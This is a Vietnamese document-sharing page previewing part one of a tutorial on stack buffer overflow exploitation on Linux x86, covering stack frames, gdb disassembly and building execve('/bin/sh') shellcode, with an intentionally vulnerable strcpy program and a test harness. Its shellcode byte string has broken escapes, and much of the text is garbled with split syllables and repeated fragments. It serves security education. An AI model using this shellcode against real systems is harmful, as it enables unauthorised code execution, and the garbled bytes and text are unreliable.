1. Trang chủ
  2. » Công Nghệ Thông Tin

KỸ THUẬT KHAI THÁC lỗi TRÀN TRONG bộ đệm

59 418 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 59
Dung lượng 105 KB

Nội dung

KỸ THUẬT KHAI THÁC LỖI TRÀN BỘ ĐỆM trang đọc lần Tóm tắt : Loạt viết trình bày tràn đệm (buffer overflow) xảy stack kỹ thuật khai thác lỗi bảo mật phổ biến Kỹ thuật khai thác lỗi tràn đệm (buffer overflow exploit) xem kỹ thuật hacking kinh điển Bài viết chia làm phần: Phần 1: Tổ chức nhớ, stack, gọi hàm, shellcode Giới thiệu tổ chức nhớ tiến trình (process), thao tác nhớ stack gọi hàm kỹ thuật để tạo shellcode - đoạn mã thực thi giao tiếp dòng lệnh (shell) Phần 2: Kỹ thuật khai thác lỗi tràn đệm Giới thiệu kỹ thuật tràn đệm bản, tổ chức shellcode, xác định địa trả về, địa shellcode, cách truyền shellcode cho chương trình bị lỗi Các chi tiết kỹ thuật minh hoạ thực môi trường Linux x86 (kernel 2.2.20, glibc-2.1.3), nhiên mặt lý thuyết áp dụng cho môi trường khác Người đọc cần có kiến thức lập trình C, hợp ngữ (assembly), trình biên dịch gcc công cụ gỡ rối gdb (GNU Debugger) Nếu bạn biết kỹ thuật khai thác lỗi tràn đệm qua tài liệu khác, viết giúp bạn củng cố lại kiến thức cách chắn Phần 1: Tổ chức nhớ, stack, gọi hàm, shellcode Mục lục : • Giới thiệu • Tổ chức nhớ o 1.1 Tổ chức nhớ tiến trình (process) o 1.2 Stack • Gọi hàm o 2.1 Giới thiệu 2.2 Khởi đầu o 2.3 Gọi hàm o 2.3 Kết thúc Shellcode o 3.1 Viết shellcode ngôn ngữ C o 3.2 Giải mã hợp ngữ hàm o 3.3 Định vị shellcode nhớ o 3.4 Vấn đề byte giá trị null o 3.5 Tạo shellcode o • Giới thiệu Để tìm hiểu chi tiết lỗi tràn đệm, chế hoạt động cách khai thác lỗi ta bắt đầu ví dụ chương trình bị tràn đệm /* vuln.c */ int main(int argc, char **argv) { char buf[16]; if (argc>1) { strcpy(buf, argv[1]); printf("%s\n", buf); } } [SkZ0@gamma bof]$ gcc -o vuln -g vuln.c [SkZ0@gamma bof]$ /vuln AAAAAAAA // ký tự A (1) AAAAAAAA [SkZ0@gamma bof]$ /vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA // 24 ký tự A (2) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault (core dumped) Chạy chương trình vuln với tham số chuỗi dài ký tự A (1), chương trình hoạt động bình thường Với tham số chuỗi dài 24 ký tự A (2), chương trình bị lỗi Segmentation fault Dễ thấy đệm buf chương trình chứa tối đa 16 ký tự bị làm tràn 24 ký tự A [SkZ0@gamma bof]$ gdb vuln -c core -q Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' Program terminated with signal 11, Segmentation fault Reading symbols from /lib/libc.so.6 done Reading symbols from /lib/ld-linux.so.2 done #0 0x41414141 in ?? () (gdb) info register eip eip 0x41414141 1094795585 (gdb) Thanh ghi eip - trỏ lệnh hành - có giá trị 0x41414141, tương đương 'AAAA' (ký tự A có giá trị 0x41 hexa) Ta thấy, thay đổi giá trị ghi trỏ lệnh eip cách làm tràn đệm buf Khi lỗi tràn đệm xảy ra, ta khiến chương trình thực thi mã lệnh tuỳ ý cách thay đổi trỏ lệnh eip đến địa bắt đầu đoạn mã lệnh Để hiểu rõ trình tràn đệm xảy nào, xem xét chi tiết tổ chức nhớ, stack chế gọi hàm chương trình Tổ chức nhớ 1.1 Tổ chức nhớ tiến trình (process) Mỗi tiến trình thực thi hệ điều hành cấp cho không gian nhớ ảo (logic) giống Không gian nhớ gồm vùng: text, data stack Ý nghĩa vùng sau: Vùng text vùng cố định, chứa mã lệnh thực thi (instruction) liệu đọc (read-only) Vùng chia sẻ tiến trình thực thi file chương trình tương ứng với phân đoạn text file thực thi Dữ liệu vùng đọc, thao tác nhằm ghi lên vùng nhớ gây lỗi segmentation violation Vùng data chứa liệu khởi tạo chưa khởi tạo giá trị Các biến toàn cục biến tĩnh chứa vùng Vùng data tương ứng với phân đoạn data-bss file thực thi Vùng stack vùng nhớ dành riêng thực thi chương trình dùng để chứa giá trị biến cục hàm, tham số gọi hàm giá trị trả Thao tác nhớ stack thao tác theo chế "vào sau trước" - LIFO (Last In, First Out) với hai lệnh quan trọng PUSH POP Trong phạm vi viết này, tập trung tìm hiểu vùng stack 1.2 Stack Stack kiểu cấu trúc liệu trừu tượng cấp cao dùng cho thao tác đặc biệt dạng LIFO Tổ chức vùng stack gồm stack frame push vào gọi hàm pop khỏi stack trở Một stack frame chứa thông số cần thiết cho hàm: biến cục bộ, tham số hàm, giá trị trả về; liệu cần thiết để khôi phục stack frame trước đó, kể giá trị trỏ lệnh (instruction pointer) vào thời điểm gọi hàm Địa đáy stack gán giá trị cố định Địa đỉnh stack lưu ghi "con trỏ stack" (ESP – extended stack pointer) Tuỳ thuộc vào thực, stack phát triển theo hướng địa nhớ từ cao xuống thấp từ thấp lên cao Trong ví dụ sau, sử dụng stack có địa nhớ phát triển từ cao xuống thấp, thực kiến trúc Intel Con trỏ stack (SP) phụ thuộc vào kiến trúc thực Nó trỏ đến địa cuối đỉnh stack địa vùng nhớ trống stack Trong minh hoạ sau (với kiến trúc Intel x86), SP trỏ đến địa cuối đỉnh stack Về lý thuyết, biến cục stack frame truy xuất dựa vào độ dời (offset) so với SP Tuy nhiên có thao tác thêm vào hay lấy stack, độ dời cần phải tính toán lại, làm giảm hiệu Để tăng hiệu quả, trình biên dịch sử dụng ghi thứ hai gọi "con trỏ nền" (EBP – extended base pointer) hay gọi "con trỏ frame" (FP – frame pointer) FP trỏ đến giá trị cố định stack frame, thường giá trị stack frame, biến cục tham số truy xuất qua độ dời so với FP không bị thay đổi thao tác thêm/bớt stack Đơn vị lưu trữ stack word, có giá trị 32 bit (4 byte) CPU Intel x86 (Trên CPU Alpha hay Sparc giá trị 64 bit) Mọi giá trị biến cấp phát stack có kích thước theo bội số word Thao tác stack thực lệnh máy: • push value: đưa giá trị ‘value’ vào đỉnh stack Giảm giá trị %esp word đặt giá trị ‘value’ vào word • pop dest: lấy giá trị từ đỉnh stack đưa vào ‘dest’ Đặt giá trị trỏ %esp vào ‘dest’ tăng giá trị %esp lên word Hàm gọi hàm 2.1 Giới thiệu Để giải thích hoạt động chương trình gọi hàm, sử dụng đoạn chương trình ví dụ sau: /* fct.c */ void toto(int i, int j) { char str[5] = "abcde"; int k = 3; j = 0; return; } int main(int argc, char **argv) { int i = 1; toto(1, 2); i = 0; printf("i=%d\n",i); } Quá trình gọi hàm chia làm bước: Khởi đầu (prolog): trước chuyển thực thi cho hàm cần chuẩn bị số công việc lưu lại trạng thái stack, cấp phát vùng nhớ cần thiết để thực thi Gọi hàm (call): hàm gọi, tham số đặt vào stack trỏ lệnh (IP – instruction pointer) lưu lại phép chuyển trình thực thi đến điểm sau gọi hàm Kết thúc (epilog): khôi phục lại trạng thái trước gọi hàm 2.2 Khởi đầu Một hàm khởi đầu với lệnh máy sau: push %ebp mov %esp,%ebp sub $0xNN,%esp // (giá trị 0xNN phụ thuộc vào hàm cụ thể) lệnh máy gọi bước khởi đầu (prolog) hàm Hình sau giải thích bước khởi đầu hàm toto() giá trị ghi %esp, %ebp Hình 1: Bước khởi đầu hàm Gi ả sử ba n đầ u % eb p trỏ đế n địa X trê n nh ớ, % es p trỏ đế n mộ t địa Y thấ p hơ n bê n dư ới Tr ướ c ch uy ển o mộ t hà m, cần ph ải lưu lại mô i trư ờn g sta ck fra me hiệ n tại, mọ i giá trị tro ng mộ t sta ck fra me đề u đư ợc tha m kh ảo qu a % eb p, ta cần lưu % eb p đủ Vì % eb p đư ợc pu sh % es p từ đỉn h sta ck với số byt e bằ ng số byt e đư ợc cấp ch o tha m số hà m tot o() Th an h ghi % eb p % es p lúc nà y giố ng với tìn h trạ ng trư ớc lện h gọi xả y Tu y nhi ên giá trị tha nh ghi % eip đư ợc ch uy ển đế n lện h kế tiế p Biên dịch giải hợp ngữ chương trình minh hoạ với gdb để xem mã hợp ngữ tương ứng với bước trình bày [SkZ0@gamma bof]$ gcc -g -o fct fct.c [SkZ0@gamma bof]$ gdb fct -q (gdb)disassemble main //hàm main Dump of assembler code for function main: 0x80483e0 : 0x80483e1 : 0x80483e3 : push %ebp //bước khởi đầu - prolog mov %esp,%ebp sub $0x4,%esp 0x80483e6 : movl $0x1,0xfffffffc(%ebp) 0x80483ed : push $0x2 //gọi hàm - call 0x80483ef : 0x80483f1 : push $0x1 call 0x80483b4 0x80483f6 : add 0x80483f9 : 0x8048400 : movl $0x0,0xfffffffc(%ebp) mov 0xfffffffc(%ebp),%eax 0x8048403 : 0x8048404 : 0x8048409 : push %eax //gọi hàm - call push $0x804846e call 0x8048308 0x804840e : printf() 0x8048411 : 0x8048412 : add $0x8,%esp //trở từ hàm toto() $0x8,%esp //trở từ hàm leave //trở từ hàm main() ret 0x8048413 : nop End of assembler dump (gdb) disassemble toto //hàm toto Dump of assembler code for function toto: 0x80483b4 : 0x80483b5 : 0x80483b7 : 0x80483ba : 0x80483bf : 0x80483c2 : 0x80483c8 : 0x80483cb : push %ebp //bước khởi đầu - prolog mov %esp,%ebp sub $0xc,%esp mov mov mov mov movl 0x8048468,%eax %eax,0xfffffff8(%ebp) 0x804846c,%al %al,0xfffffffc(%ebp) $0x3,0xfffffff4(%ebp) 0x80483d2 : 0x80483d9 : 0x80483db : movl $0x0,0xc(%ebp) jmp 0x80483dc nop 0x80483dc : 0x80483dd : leave //trở từ hàm toto() ret 0x80483de : mov %esi,%esi End of assembler dump (gdb) Shellcode Khi tràn đệm xảy ra, ta thao tác stack, ghi đè giá trị trả RET khiến chương trình thực thi mã lệnh Thông thường đơn giản khiến chương trình thực thi đoạn mã để chạy giao tiếp dòng lệnh shell Vì chèn trực tiếp vào nhớ chương trình để thực thi tiếp nên đoạn mã phải viết dạng hợp ngữ Những đoạn mã chương trình kiểu thường gọi shellcode 3.1 Viết shellcode ngôn ngữ C Mục đích shellcode để thực thi giao tiếp dòng lệnh shell Trước tiên viết ngôn ngữ C: /* shellcode.c */ #include #include int main() { char * name[] = {"/bin/sh", NULL}; execve(name[0], name, NULL); _exit (0); } Trong số hàm dạng exec() dùng để gọi thực thi chương trình khác, execve() hàm nên dùng Lý do: execve() hàm hệ thống (system-call) khác với hàm exec() khác thực libc (và thực dựa execve()) Hàm hệ thống thực thông qua gọi ngắt với giá trị tham số đặt ghi định trước, mã hợp ngữ tạo ngắn gọn Hơn nữa, gọi execve() thành công, chương trình gọi thay chương trình gọi xem bắt đầu trình thực thi Nếu gọi execve() không thành công, chương trình gọi tiếp tục trình thực thi Khi khai thác lỗ hổng, đoạn mã shellcode chèn vào trình thực thi chương trình bị lỗi Sau chạy mã lệnh theo ý muốn, việc tiếp tục trình thực thi chương trình không cần thiết gây kết ý muốn nội dung stack bị làm thay đổi Vì vậy, trình thực thi cần kết thúc Ở sử dụng _exit() để kết thúc thay dùng exit() hàm thư viện libc thực dựa hàm hệ thống _exit() Hãy ghi nhớ tham số để truyền cho hàm execve() trên: • chuỗi /bin/sh • địa mảng tham số (kết thúc trỏ NULL) • địa mảng biến môi trường (ở trỏ NULL) 3.2 Giải mã hợp ngữ hàm Biên dịch shellcode.c với option debug static để tích hợp hàm liên kết qua thư viện động vào chương trình [SkZ0@gamma bof]$ gcc -o shellcode shellcode.c -O2 -g static Bây xem xét mã hợp ngữ hàm main() gdb [SkZ0@gamma bof]$ gdb shellcode -q (gdb) disassemble main Dump of assembler code for function main: 0x804818c : push %ebp 0x804818d : mov %esp,%ebp 0x804818f : sub $0x8,%esp 0x8048192 : movl $0x0,0xfffffff8(%ebp) 0x8048199 : movl $0x0,0xfffffffc(%ebp) 0x80481a0 : mov $0x806f388,%edx 0x80481a5 : mov %edx,0xfffffff8(%ebp) 0x80481a8 : push $0x0 0x80481aa : lea 0xfffffff8(%ebp),%eax 0x80481ad : push %eax 0x80481ae : push %edx 0x80481af : call 0x804c6ec < execve> 0x80481b4 : push $0x0 0x80481b6 : call 0x804c6d0 End of assembler dump (gdb) Để ý lệnh sau: 0x80481a0 : mov $0x806f388,%edx Lệnh chuyển giá trị địa nhớ vào ghi %edx (gdb) printf "%s\n", 0x806f388 /bin/sh (gdb) Như địa chuỗi "/bin/sh" đặt vào ghi %edx Trước gọi hàm thấp thư viện C thực hàm hệ thống execve() tham số đặt vào stack theo thứ tự: • trỏ NULL 0x80481a8 : push $0x0 • địa mảng tham số 0x80481aa : lea 0xfffffff8(%ebp),%eax 0x80481ad : push %eax • địa chuỗi /bin/sh 0x80481ae : push %edx Hãy xem hàm execve() _exit() (gdb) disassemble execve Dump of assembler code for function execve: 0x804c6ec < execve>: push %ebp 0x804c6ed < execve+1>: mov %esp,%ebp 0x804c6ef < execve+3>: push %edi 0x804c6f0 < execve+4>: push %ebx 0x804c6f1 < execve+5>: mov 0x8(%ebp),%edi 0x804c6f4 < execve+8>: mov $0x0,%eax 0x804c6f9 < execve+13>: test %eax,%eax 0x804c6fb < execve+15>: je 0x804c702 < execve+22> 0x804c6fd < execve+17>: call 0x0 0x804c702 < execve+22>: mov 0xc(%ebp),%ecx 0x804c705 < execve+25>: mov 0x10(%ebp),%edx 0x804c708 < execve+28>: push %ebx 0x804c709 < execve+29>: mov %edi,%ebx 0x804c70b < execve+31>: mov $0xb,%eax 0x804c710 < execve+36>: int $0x80 0x804c712 < execve+38>: pop %ebx 0x804c713 < execve+39>: mov %eax,%ebx 0x804c715 < execve+41>: cmp $0xfffff000,%ebx 0x804c71b < execve+47>: jbe 0x804c72b < execve+63> 0x804c71d < execve+49>: call 0x80482b8 < errno_location> 0x804c722 < execve+54>: neg %ebx 0x804c724 < execve+56>: mov %ebx,(%eax) 0x804c726 < execve+58>: mov $0xffffffff,%ebx 0x804c72b < execve+63>: mov %ebx,%eax 0x804c72d < execve+65>: lea 0xfffffff8(%ebp), %esp 0x804c730 < execve+68>: pop %ebx 0x804c731 < execve+69>: pop %edi 0x804c732 < execve+70>: leave 0x804c733 < execve+71>: ret End of assembler dump (gdb) disassemble _exit Dump of assembler code for function _exit: 0x804c6d0 : mov %ebx,%edx 0x804c6d2 : mov 0x4(%esp,1),%ebx 0x804c6d6 : mov $0x1,%eax 0x804c6db : int $0x80 0x804c6dd : mov %edx,%ebx 0x804c6df : cmp $0xfffff001,%eax 0x804c6e4 : jae 0x804ca80 < syscall_error> End of assembler dump (gdb) quit Hệ điều hành thực lệnh call cách gọi ngắt 0x80, địa 0x804c710 cho execve() 0x804c6db cho _exit() Các địa thường không giống hàm hệ thống, đặc điểm để phân biệt nội dung ghi %eax Xem trên, giá trị 0xb với execve() _exit() 0x1 Hình 4: Hàm execve tham số Phân tích mã hợp ngữ rút số kết luận sau: • trước gọi thực thi hàm execve() gọi ngắt 0x80: o ghi %edx giữ giá trị địa mảng biến môi trường: 0x804c705 < execve+25>: mov 0x10(%ebp), %edx Để đơn giản, sử dụng biến môi trường rỗng cách gán giá trị trỏ NULL o ghi %ecx giữ giá trị địa mảng tham số 0x804c702 < execve+22>: mov 0xc(%ebp), %ecx Tham số phải tên chương trình, dơn giản mảng dùng để chứa địa chuỗi "/bin/sh" kết thúc trỏ NULL o ghi %ebx giữ địa chuỗi tên chương trình cần thực thi, trường hợp "/bin/sh" 0x804c6f1 < execve+5>: mov 0x8(%ebp),%edi 0x804c709 < execve+29>: mov %edi,%ebx • hàm _exit(): kết thúc trình thực thi, mã kết trả cho trình cha (thường shell) lưu ghi %ebx 0x804c6d2 : mov 0x4(%esp,1),%ebx Để hoàn tất việc tạo mã hợp ngữ, cần nơi chứa chuỗi "/bin/sh", trỏ đến chuỗi trỏ NULL (để kết thúc mảng tham số, đồng thời trỏ biến môi trường) Những liệu phải chuẩn bị trước thực thiện gọi execve() 3.3 Định vị shellcode nhớ Thông thường shellcode chèn vào chương trình bị lỗi thông qua tham số dòng lệnh, biến môi trường hay chuỗi nhập từ bàn phím/file Dù cách tạo shellcode biết địa Không buộc phải biết trước địa chuỗi "/bin/sh" Tuy nhiên, số thủ thuật giải trở ngại Có hai cách để định vị shellcode nhớ, tất thông qua định vị gián tiếp để đảm bảo tính độc lập Để đơn giản, trình bày cách định vị shellcode dùng stack Để chuẩn bị mảng tham số trỏ biến môi trường cho hàm execve(), đặt trực tiếp chuỗi "/bin/sh", trỏ NULL lên stack xác định địa thông qua giá trị ghi %esp Mã hợp ngữ có dạng sau: beginning_of_shellcode: pushl $0x0 // giá trị null kết thúc chuỗi /bin/sh • pushl "/bin/sh" // chuỗi /bin/sh movl %esp,%ebx // %ebx chứa địa /bin/sh push NULL // trỏ NULL mảng tham số (mã hợp ngữ shellcode) 3.4 Vấn đề byte giá trị null Các hàm bị lỗi thường hàm xử lý chuỗi strcpy(), scanf() Để chèn mã lệnh vào chương trình, shellcode phải chép vào dạng chuỗi Tuy nhiên, hàm xử lý chuỗi hoàn tất gặp ký tự null (\0) Do đó, shellcode phải không chứa giá trị null Ta sử dụng số thủ thuật để loại bỏ giá trị null, ví dụ lệnh: push $0x00 Sẽ thay tương đương bằng: xorl %eax, %eax push %eax Đó cách xử lý null byte trực tiếp Giá trị null phát sinh chuyển mã lệnh sang dạng hexa Ví dụ, lệnh chuyển giá trị 0x1 vào ghi %eax để gọi _exit(): 0x804c6d6 : mov $0x1,%eax Chuyển sang dạng hexa thành chuỗi: b8 01 00 00 00 mov $0x1,%eax Thủ thuật sử dụng khởi tạo giá trị cho %eax ghi có giá trị 0, sau tăng lên (hoặc dùng lệnh movb thao tác byte thấp %eax) 31 c0 xor %eax,%eax 40 inc %eax 3.5 Tạo shellcode Chúng ta có đầy đủ cần thiết để tạo shellcode Chương trình tạo shellcode: /* shellcode_asm.c */ int main() { asm(" /* push giá trị null kết thúc /bin/sh vào stack */ xorl %eax,%eax pushl %eax /* push chuỗi /bin/sh vào stack */ pushl $0x68732f2f /* chuỗi //sh, độ dài word */ pushl $0x6e69622f /* chuỗi /bin */ /* %ebx chứa địa chuỗi /bin/sh */ movl %esp, %ebx /* push trỏ NULL, phần tử thứ hai mảng tham số */ pushl %eax /* push địa /bin/sh, phần tử thứ hai mảng tham số */ pushl %ebx /* %ecx chứa địa mảng tham số */ movl %esp,%ecx /* %edx chứa địa mảng biến môi trường, trỏ NULL */ /* dùng lệnh tương đương cdq, ngắn byte */ movl %eax, %edx /* Hàm execve(): %eax = 0xb */ movb $0xb,%al /* Gọi hàm */ int $0x80 /* Giá trị trả cho hàm _exit() */ xorl %ebx,%ebx /* Hàm _exit(): %eax = 0x1 */ movl %ebx,%eax inc %eax /* Gọi hàm */ int $0x80 "); } Dịch shellcode dump dạng hợp ngữ: [SkZ0@gamma bof]$ gcc -o shellcode_asm shellcode_asm.c [SkZ0@gamma bof]$ objdump -d shellcode_asm | grep \: -A 17 08048380 : 8048380: 55 pushl %ebp 8048381: 89 e5 movl %esp,%ebp 8048383: 31 c0 xorl %eax,%eax 8048385: 50 pushl %eax 8048386: 68 2f 2f 73 68 pushl $0x68732f2f 804838b: 68 2f 62 69 6e pushl $0x6e69622f 8048390: 89 e3 movl %esp,%ebx 8048392: 50 pushl %eax 8048393: 53 pushl %ebx 8048394: 89 e1 movl %esp,%ecx 8048396: 89 c2 movl %eax,%edx 8048398: b0 0b movb $0xb,%al 804839a: cd 80 int $0x80 804839c: 31 db xorl %ebx,%ebx 804839e: 31 c0 xorl %eax,%eax 80483a0: 40 incl %eax 80483a1: cd 80 int $0x80 Hãy chạy thử shellcode trên: /* testsc.c */ char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x8 9\xe3\x50" "\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xb\x31\xc0\x4 0\xcd\x80"; int main() { int * ret; /* ghi đè giá trị bảo lưu %eip stack địa shellcode */ /* khoảng cách so với biến ret byte (2 word): */ /* - byte cho biến ret */ /* - byte cho giá trị bảo lưu %ebp */ * ((int *) & ret + 2) = (int) shellcode; return (0); } Chạy thử chương trình testsc: [SkZ0@gamma bof]$ gcc testsc.c -o testsc [SkZ0@gamma bof]$ /testsc bash$ exit [SkZ0@gamma bof]$ Ta thêm vào hàm để mở rộng tính shellcode, thực thao tác cần thiết khác trước gọi "/bin/sh" setuid(), setgid(), chroot(), cách chèn mã hợp ngữ hàm vào trước đoạn shellcode Có thể thấy ví dụ chạy thử shellcode ý tưởng để khai thác lỗi tràn đệm, chi tiết trình bày phần Xem tiếp [...]... ớ dà nh ch o biế n cục bộ Mả ng ký tự có độ dài 5 byt e, tuy nhi ên sta ck sử dụ ng đơ n vị lưu trữ là wo rd, do đó vù ng nh ớ đư ợc cấp ch o mả ng ký tự sẽ là mộ t bội số của wo rd sao ch o lớn hơ n ho ặc bằ ng kíc h thư ớc của mả ng Dễ thấ y giá trị đó là 8 byt e (2 wo rd) Biế nk kiể u ng uy ên có kíc h thư ớc 4 byt e, vì vậ y kíc h thư ớc vù ng nh ớ dà nh ch o biế n cục bộ sẽ là 8+ 4= 12 byt e... đây là biến cục bộ luôn có độ dời âm so với con trỏ nền %ebp Lệnh máy thực hiện phép gán i=0 trong hàm main() có thể minh hoạ điều này Mã hợp ngữ dùng định vị gián tiếp để xác định vị trí của i: movl $0x0,0xfffffffc(%ebp) 0xfffffffc tương đương giá trị số nguyên bằng –4 Lệnh trên có nghĩa: đặt giá trị 0 vào biến ở địa chỉ có độ dời “-4” byte so với thanh ghi %ebp i là biến đầu tiên trong hàm main()... tiên và 4 cho tham số thứ 2) 2.4 Kết thúc Thoát khỏi một hàm được thực hiện trong 2 bước Trước tiên, môi trường tạo ra cho hàm thực thi cần được "dọn dẹp" (nghĩa là khôi phục giá trị cho %ebp và %eip) Sau đó, chúng ta phải kiểm tra stack để lấy các thông tin liên quan đến hàm vừa thoát ra Bước thứ nhất được thực hiện trong bên trong hàm với 2 lệnh: leave ret Bước kế tiếp được thực hiện nơi gọi hàm sẽ... lện h cal l chí nh là địa chỉ của lện h kh ởi đầ u (pr olo g) đầ u tiê n của hà m tot o() Gi á trị nà y sẽ đư ợc ché p và o % eip và trở thà nh lện h đư ợc thự c thi tiế p the o Lưu ý rằng khi ở bên trong một hàm, các tham số và địa chỉ trả về có độ dời dương (+) so với con trỏ nền %ebp Lệnh máy thực hiện phép gán j=0 minh hoạ điều này Mã hợp ngữ sử dụng định vị gián tiếp để truy xuất biến j: movl... eb pở địa chỉ X và % es pở địa chỉ Y trê n sta ck Bắt đầ u từ Y, ch ún g ta sẽ cấp ph át các vù ng nh ớ dà nh ch o tha m số, giá trị bả o lưu của % eip và % eb p, và vù ng nh ớ dà nh ch o các biế n cục bộ của hà m Lệ nh sẽ đư ợc thự c thi kế tiế p là lea ve, lện h nà y tươ ng đư ơn g với 2 lện h sau : mo v % eb p, % es p po p % eb p Lệ nh đầ u tiê n sẽ đư a % es p và % eb p trỏ đế n cù ng vị trí hiệ ... 3.5 Tạo shellcode o • Giới thiệu Để tìm hiểu chi tiết lỗi tràn đệm, chế hoạt động cách khai thác lỗi ta bắt đầu ví dụ chương trình bị tràn đệm /* vuln.c */ int main(int argc, char **argv) { char... lệnh eip cách làm tràn đệm buf Khi lỗi tràn đệm xảy ra, ta khiến chương trình thực thi mã lệnh tuỳ ý cách thay đổi trỏ lệnh eip đến địa bắt đầu đoạn mã lệnh Để hiểu rõ trình tràn đệm xảy nào, xem... thường Với tham số chuỗi dài 24 ký tự A (2), chương trình bị lỗi Segmentation fault Dễ thấy đệm buf chương trình chứa tối đa 16 ký tự bị làm tràn 24 ký tự A [SkZ0@gamma bof]$ gdb vuln -c core -q Core

Ngày đăng: 03/12/2015, 01:44

TỪ KHÓA LIÊN QUAN

w